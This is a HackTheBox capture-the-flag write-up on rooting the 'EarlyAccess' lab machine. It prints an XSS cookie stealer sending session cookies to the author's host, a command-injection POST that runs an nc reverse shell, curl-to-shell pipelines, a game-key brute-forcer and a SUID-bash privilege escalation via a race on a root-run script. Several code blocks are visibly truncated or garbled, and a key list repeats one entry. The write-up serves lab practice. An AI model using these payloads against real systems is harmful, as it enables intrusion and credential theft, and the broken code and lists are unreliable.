.. _ownlinux:
4. Own one of the Linux based machines on Htb
=====================================================
Introduction
^^^^^^^^^^^^^^
| HackTheBox is a platform used by red-team pentesters to hone their skills and generally have fun practicing their craft. They offer a virtual platform, in which there are various boxes or machines varying from difficulty. To be able to start these challenges though, one has to hack their way into the website first. I've already done a fair share of HackTheBox machines, thus I decided to choose a box rated as Hard for my HtB Linux write-up.
.. image:: https://i.imgur.com/HRZ69OJ.png
Lets get right into it
^^^^^^^^^^^^^^^^^^^^^^^^^
Reconnaisance
^^^^^^^^^^^^^^
1. Nmap 10.10.11.110
.. image:: https://i.imgur.com/q0McK8T.png
2. Start VNC
3. Open browser + burp (disable proxy)
4. Add earlyaccess.htb to etc hosts
5. Open webpage
6. Run dirb & ffuf in the background
| FFuf output
.. image:: https://i.imgur.com/DBuo4s1.png
7. See register & login button
8. Create account test test@test testtest
9. Login
10. Browse contents of 'gamestore' webshop
11. Key-format: AAAAA-BBBBB-CCCC1-DDDDD-1234
12. Many OWASP attempts (in messaging)
Exploitation
^^^^^^^^^^^^^
13. Username works for XSS
14. Its read out when sending message to admin
15. There's a specific '``earlyaccess_session``' cookie token, in normal boxes if cookies arent the objective there's *usually* only a phpsessid
16. Using the built-in PHP engine to host a cookie stealer
.. code-block:: bash
$ php -S 0.0.0.0:8082
.. code-block:: python
17. Update name with XSS included
.. code-block:: html
'
18. Send a message via contact us to admin, takes around 30 seconds for admin to read it
19. After 30 seconds got an Unsupported Request SSL error in my built in PHP server
20. Googling for a while and decided to just put up Apache with SSL on my Kali machine, if that didn't work I would have quit this machine
.. code-block:: html
'
21. Tailed the log.txt (see above block) and saw the Cookie being injected into the file
22. Injected the cookies into the browser
23. Success!
.. image:: https://i.imgur.com/FhHnLv6.png
Recon.. again..
^^^^^^^^^^^^^^^^^
24. The most interesting parts of the admin panel are a page to download python code related to activating game keys
| The code is described as being used as a back up if the API does not work.
Back to exploitation
^^^^^^^^^^^^^^^^^^^^^^
| Here's the code found in validate.py. You can check your key using the file.
.. code-block:: bash
$ python3 validate.py (key)
.. code-block:: python
#!/usr/bin/env python3
import sys
from re import match
class Key:
key = ""
magic_value = "XP" # Static (same on API)
magic_num = 346 # TODO: Sync with API (api generates magic_num every 30min)
def __init__(self, key:str, magic_num:int=346):
self.key = key
if magic_num != 0:
self.magic_num = magic_num
@staticmethod
def info() -> str:
return f"""
# Game-Key validator #
Can be used to quickly verify a user's game key, when the API is down (again).
Keys look like the following:
AAAAA-BBBBB-CCCC1-DDDDD-1234
Usage: {sys.argv[0]} """
def valid_format(self) -> bool:
return bool(match(r"^[A-Z0-9]{5}(-[A-Z0-9]{5})(-[A-Z]{4}[0-9])(-[A-Z0-9]{5})(-[0-9]{1,5})$", self.key))
def calc_cs(self) -> int:
gs = self.key.split('-')[:-1]
return sum([sum(bytearray(g.encode())) for g in gs])
def g1_valid(self) -> bool:
g1 = self.key.split('-')[0]
r = [(ord(v)< bool:
g2 = self.key.split('-')[1]
p1 = g2[::2]
p2 = g2[1::2]
return sum(bytearray(p1.encode())) == sum(bytearray(p2.encode()))
def g3_valid(self) -> bool:
# TODO: Add mechanism to sync magic_num with API
g3 = self.key.split('-')[2]
if g3[0:2] == self.magic_value:
return sum(bytearray(g3.encode())) == self.magic_num
else:
return False
def g4_valid(self) -> bool:
return [ord(i)^ord(g) for g, i in zip(self.key.split('-')[0], self.key.split('-')[3])] == [12, 4, 20, 117, 0]
def cs_valid(self) -> bool:
cs = int(self.key.split('-')[-1])
return self.calc_cs() == cs
def check(self) -> bool:
if not self.valid_format():
print('Key format invalid!')
return False
if not self.g1_valid():
print('g1')
return False
if not self.g2_valid():
print('g2')
return False
if not self.g3_valid():
print('g3')
return False
if not self.g4_valid():
print('g4')
return False
if not self.cs_valid():
print('[Critical] Checksum verification failed!')
return False
return True
if __name__ == "__main__":
if len(sys.argv) != 2:
print(Key.info())
sys.exit(-1)
input = sys.argv[1]
validator = Key(input)
if validator.check():
print(f"Entered key is valid!")
else:
print(f"Entered key is invalid!")
| I'm not very familiar with Python, thought with my experience as a software engineer it isn't very tricky for me to try and reverse engineer this machine. I held a discussion with my friend who knew more about Reverse Engineering, where I posed him the following question:
- Is it possible to easily reverse engineer this Python code? (and I gave him an example listed below)
.. code-block:: python
r = [(ord(v)<
Possible key combinations
.. code-block:: python
KEY01-0H0H0-XPAA0-GAME1-1295
KEY01-0H0H0-XPAA1-GAME1-1296
KEY01-0H0H0-XPAA2-GAME1-1297
KEY01-0H0H0-XPAA2-GAME1-1298
KEY01-0H0H0-XPAA2-GAME1-1299
KEY01-0H0H0-XPAA2-GAME1-1299
KEY01-0H0H0-XPAA2-GAME1-1299
KEY01-0H0H0-XPAA2-GAME1-1299
KEY01-0H0H0-XPAA2-GAME1-1299
KEY01-0H0H0-XPAA2-GAME1-1299
KEY01-0H0H0-XPAA2-GAME1-1299
KEY01-0H0H0-XPAA2-GAME1-1299
KEY01-0H0H0-XPAA2-GAME1-1299
KEY01-0H0H0-XPAA2-GAME1-1299
KEY01-0H0H0-XPAA2-GAME1-1299
KEY01-0H0H0-XPAA2-GAME1-1299
KEY01-0H0H0-XPAA2-GAME1-1299
.. raw:: html
| I cleaned the above Python code a little bit, am no expert in Python as you can evidently see. I'm sure there's a more efficient way of doing it, but I haven't spent enough time writing Python to actually learn how to.
.. warning::
Again, scrolling down below will lead you inevitably to huge spoilers. Beyond this point, there's no going back!
.. code-block:: python
key = ""
keylist = [chr(i) for i in range(ord('A'),ord('Z')+1)]
count = 0
results = []
for keys in keylist:
new_key = key+keys+keys+"0"
starting_cipher = 1295
if sum(bytearray(new_key.encode())) in results:
pass
else:
key_value = sum(bytearray(new_key.encode()))
count=count+1
print("KEY01-0H0H0-XP" + new_key + "-GAME1-"+str(starting_cipher+count-1))
results.append(key_value)
new_key = new_key.replace("0","1")
if sum(bytearray(new_key.encode())) in results:
pass
else:
key_value = sum(bytearray(new_key.encode()))
count=count+1
print("KEY01-0H0H0-XP" + new_key + "-GAME1-"+str(starting_cipher+count-1))
results.append(key_value)
new_key = new_key.replace("1","2")
if sum(bytearray(new_key.encode())) in results:
pass
else:
key_value = sum(bytearray(new_key.encode()))
count=count+1
print("KEY01-0H0H0-XP" + new_key + "-GAME1-"+str(starting_cipher+count-1))
results.append(key_value)
new_key = new_key.replace("2","3")
if sum(bytearray(new_key.encode())) in results:
pass
else:
key_value = sum(bytearray(new_key.encode()))
count=count+1
print("KEY01-0H0H0-XP" + new_key + "-GAME1-"+str(starting_cipher+count-1))
results.append(key_value)
new_key = new_key.replace("3","4")
if sum(bytearray(new_key.encode())) in results:
pass
else:
key_value = sum(bytearray(new_key.encode()))
count=count+1
print("KEY01-0H0H0-XP" + new_key + "-GAME1-"+str(starting_cipher+count-1))
results.append(key_value)
new_key = new_key.replace("4","5")
if sum(bytearray(new_key.encode())) in results:
pass
else:
key_value = sum(bytearray(new_key.encode()))
count=count+1
print("KEY01-0H0H0-XP" + new_key + "-GAME1-"+str(starting_cipher+count-1))
results.append(key_value)
new_key = new_key.replace("5","6")
if sum(bytearray(new_key.encode())) in results:
pass
else:
key_value = sum(bytearray(new_key.encode()))
count=count+1
print("KEY01-0H0H0-XP" + new_key + "-GAME1-"+str(starting_cipher+count-1))
results.append(key_value)
new_key = new_key.replace("6","7")
if sum(bytearray(new_key.encode())) in results:
pass
else:
key_value = sum(bytearray(new_key.encode()))
count=count+1
print("KEY01-0H0H0-XP" + new_key + "-GAME1-"+str(starting_cipher+count-1))
results.append(key_value)
new_key = new_key.replace("7","8")
if sum(bytearray(new_key.encode())) in results:
pass
else:
key_value = sum(bytearray(new_key.encode()))
count=count+1
print("KEY01-0H0H0-XP" + new_key + "-GAME1-"+str(starting_cipher+count-1))
results.append(key_value)
new_key = new_key.replace("8","9")
if sum(bytearray(new_key.encode())) in results:
pass
else:
key_value = sum(bytearray(new_key.encode()))
count=count+1
print("KEY01-0H0H0-XP" + new_key + "-GAME1-"+str(starting_cipher+count-1))
results.append(key_value)
print("Count = ", count)
print(results)
| After generating a list of possible keys, I logged in as admin again by using the exploit mentioned above (the session expired and someone had reset the machine). I then intercepted the ``POST`` on the key page, and then primed my Burpsuite with all of the possible keys. I had to enable an option to enable redirects because I noticed during the first run that I kept getting redirects. After enabling this option, & rerunning Burpsuite I waited until the list was parsed.
.. image:: https://i.imgur.com/VJ7iCHP.png
| Then after a few minutes, the results came in:
.. image:: https://i.imgur.com/6NC4u1F.png
.. Important:: Working key!
| The key works for max for 30 minutes, but could change every other minute so for the next steps we need to be fast.
Pivot
^^^^^^
| Now, with a working game-key we can head back to the user account on an incognito window (as to prevent the admin cookie from being overwritten); and submit the working game key. After this, we can login to the game portal.
.. image:: https://i.imgur.com/LSmxg5q.png
| When I was scanning through the website I found this error:
.. code-block:: bash
SQLSTATE[42000]: Syntax error or access violation: 1064 You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'i=new Image;i.src="https://10.10.14.93/index.php?cookie="+document.cookie;";
echo '
' . $hash;
return;
}
else
{
$_SESSION['hash'] = $hash;
header('Location: /home.php
| While I do have some experience writing PHP, I wasn't completely sure what this code-block did; but I could tell that hash_function could be hijacked if debug was enabled. Through some trial and error I discovered that adding ``debug=true`` to the POST (through Burp) I could run shell commands through ``password`` by making ``hash_function`` run ``shell_exec``. Being pretty confident, I set up my ``nc -nvlp 4242`` and then I intercepted the POST once more, and injected my own version of it.
.. code-block:: bash
action=hash&redirect=true&password=nc+10.10.14.93+4242+-e+/bin/sh&hash_function=shell_exec&debug=true
Second foothold
^^^^^^^^^^^^^^^^^
| That gave a hit, but the shell was a low TTY. Finally, a decent foothold into the machine.
.. image:: https://i.imgur.com/AsJHjwu.png
| From here on out my aim was to get a better shell, I did this by running
.. code-block:: python
python3 -c 'import pty; pty.spawn("/bin/sh")'
| That improved the TTY a little bit. Since we were on the www-adm account (as can seen in the whoami) I decided to ``su -l www-adm`` (login as www-adm) to get an even better shell. The password was the same as the admin password (gameover); now we have a proper shell.
| Now the machine needs to be enumerated further, as with any machine, I curl'ed and pipelined it into the shell, executing it directly. There were a couple of interesting results -- some plain-text passwords that had been stored in Axios(an API software).
| Besides this, there's also a file within the www-adm home directory called ``.wgetrc`` (hidden), in this file the following contents can be found
.. code-block:: bash
www-adm@webserver:~$ cat .wgetrc
cat .wgetrc
user=api
password=s3CuR3_API_PW!
| There's an API in which the username is API and we have the password in plaintext. In the LinPeas output from before, another interesting bit was this:
.. code-block:: bash
╔══════════╣ Unexpected in root
/.dockerenv
| So from this a conclusion could be drawn; there's an API running (most likely on docker). And we could most likely find more information about other users also mentioned in the linpeas output in this API. But the question remains, how do find this API and communicate with it? This Linux machine doesn't have nettools that a sysadmin would use to detect all listening ports,
- lsof -i -P -n
- netstat -tulpn
- ss -tulpn
Understanding the env.
^^^^^^^^^^^^^^^^^^^^^^^^
| When all the above failed to work, I tried installing my own tools, but that wasn't possible with root access. This machine prevents all sorts of network tests (pinging, listening for open ports, etc.) -- so clearly there was some information being hidden. Then I created a tool on my machine called netstat_withoutnetstat.sh and curled it with a direct sh pipeline with the following results:
.. code-block:: bash
127.0.0.11:33613 - 0.0.0.0:0
0.0.0.0:80 - 0.0.0.0:0
0.0.0.0:443 - 0.0.0.0:0
172.18.0.102:80 - 10.10.14.110:35996
172.18.0.102:80 - 10.10.14.110:36140
172.18.0.102:80 - 10.10.14.110:36044
172.18.0.102:53728 - 172.18.0.100:3306
172.18.0.102:80 - 10.10.14.110:36002
172.18.0.102:33486 - 10.10.14.110:4242
172.18.0.102:80 - 10.10.14.110:35956
172.18.0.102:60772 - 10.10.14.110:4242
172.18.0.102:80 - 10.10.14.110:36048
172.18.0.102:56130 - 172.18.0.100:3306
172.18.0.102:60148 - 172.18.0.100:3306
172.18.0.102:80 - 10.10.14.110:36006
172.18.0.102:80 - 10.10.14.110:36056
172.18.0.102:80 - 10.10.14.144:42283
172.18.0.102:80 - 10.10.14.110:36060
172.18.0.102:58394 - 10.10.14.110:8081
172.18.0.102:35472 - 10.10.14.144:4444
172.18.0.102:80 - 10.10.14.110:36018
172.18.0.102:80 - 10.10.14.110:36010
172.18.0.102:54674 - 172.18.0.100:3306
172.18.0.102:60144 - 172.18.0.100:3306
| The ``172.18`` range was most likely the docker containers mentioned above. MySQL had connections to many different routes. So this ``172.18`` subnet requires further enumeration. There's ``172.18.0.100`` and ``172.18.0.102`` that has connections to this machine. Enumerating this was lucky guess-work. I found a scan script on the internet and modified it to my needs to manually check each IP in this block for interesting results. I began with the ``.100`` IP-address, this IP was running ``3306``(mySQL) and ``33060`` an unknown port but I assumed this was mySQL related. The next IP had a very interesting result that being the ``172.18.0.101`` which had open port ``5000``. The ``172.18.0.102`` had ``80`` (http) ``443`` (https) which I assumed was the front-end. After collecting these results I began to knock on the ports to see what was running on them.
.. code-block:: bash
www-adm@webserver:/tmp$ curl 172.18.0.101:5000
curl 172.18.0.101:5000
{"message":"Welcome to the game-key verification API! You can verify your keys via: /verify/. If you are using manual verification, you have to synchronize the magic_num here. Admin users can verify the database using /check_db.","status":200}
| Now that is a very interesting output! We know from the wgetrc that there's API credentials. Curling this ``172.18.0.101:5000/check_db`` output results in invalid auth. LinPeas has given me some interesting credentials I could try and using on this endpoint.
.. image:: https://i.imgur.com/xq9rbNb.png
Credentials
^^^^^^^^^^^^^
| When parsing this into a beautifier, some *very* interesting information appeared.
.. code-block:: bash
"MYSQL_USER=drew",
"MYSQL_PASSWORD=drew",
"MYSQL_ROOT_PASSWORD=XeoNu86JTznxMCQuGHrGutF3Csq5",
| Next I opened a new kali terminal, and SSH'd to the terminal:
.. code-block:: bash
$ ssh drew@earlyaccess.htb
User flag
^^^^^^^^^^^^
| And then input the password shown above... and voila! We have user flag.
.. image:: https://i.imgur.com/mZFGQIC.png
| For the next part, I re-ran my LinPeas to collect the results on the Drew account. Do you remember the Docker bits from above? It's becoming relevant now. Why? Because of this mail sent to Drew.
.. image:: https://i.imgur.com/S6TcDFU.png
| According to LinPeas, there is an interesting file in the following directory: ``/opt/docker-entrypoint.d/node-server.sh`` - of course, there was loads of additional information leading to rabbit-holes, I won't be discussing those rabbit holes in this write-up. *You can literally write a novel about the bunny-holes in this challenge See the image below as an example*.
.. image:: https://i.imgur.com/bK4p4lT.png
| This ``node-server.sh`` has a pretty simple function; it starts SSH and cd's into ``/usr/src/app/`` (which does not exist on Drew) and installs NPM. The script is read-only and ran by root. I could tell by the time it took(over 2 weeks) to get to this user flag, it will be easier to obtain the root flag.
| Another interesting thing LinPeas found was a SSH connection file. It belonged to a certain ``game-tester@game-server``. I ran this SSH script against multiple IP's found in Linpeas and eventually connected to ``172.19.0.2``. What I found in here was another instance of the ``node-server.sh`` This file is shared between Drew & this game-tester docker container. This game-tester has a ``/usr/src/app/`` in it, there's a ``server.js`` - which in itself isn't very useful save for one feature: ``/autoplay``. Why is this feature important? You could break the API by submitting an invalid integer - and from the mail above, we have determined that the API will then be restarted. So with the job that's resetting the API a minute after it crashes leaves us with a gap to try and manipulate the contents of the ``node-server.sh`` before it is replaced by another script. We inject our own malicious code into it by the ``Drew`` account. That code looks like this:
.. code-block:: bash
#!/bin/bash
while true
do
cp /tmp/node-server.sh /opt/docker-entrypoint.d/node-server.sh
done
| What this does is continously copy my own malicious ``node-server.sh`` before it is replaced by the reset function. The goal of this is to have the docker-container execute the script and become root. The code from *above* I also put into the /tmp/ directory (of ``Drew`` user) and then ran it.
Root exploitation
^^^^^^^^^^^^^^^^^^^
| Here is the content of the ``node-server.sh`` I created in the ``/tmp/`` directory.
.. code-block:: bash
#!/bin/bash
cp /bin/bash tmp/bash
chown root:root /tmp/bash
chmod u+s /tmp/bash
| Up next was to crash the API via the ``game-tester`` account, which could easily be done via:
.. code-block:: bash
curl -X ``POST`` -d "rounds=3.333333333" http://172.19.0.3:9999/autoplay
Root flag
^^^^^^^^^^
| With the while loop running, I had to wait a few seconds - but sure enough, bash appeared in the /tmp/ of ``game-tester`` running it with ``./bash -P`` gave me a docker root shell access. No flags on this container, so we needed to apply the same methodology but then in reverse to get the root flag via Drew. Since this shell had root access, with a simple ``cp /bin/bash bash`` and a ``chown root:root bash`` finished with ``chmod u+s bash`` when going back to Drew and re-running the ``./bash -P`` gave us the root flag.
Conclusion
^^^^^^^^^^^^
| This box was extremely hard, and I couldn't have finished with the help of some friends; specifically jumping from Docker to Docker container was something I had very little experience in. Doing this box taught me a lot about Python, and the debugging of Python code.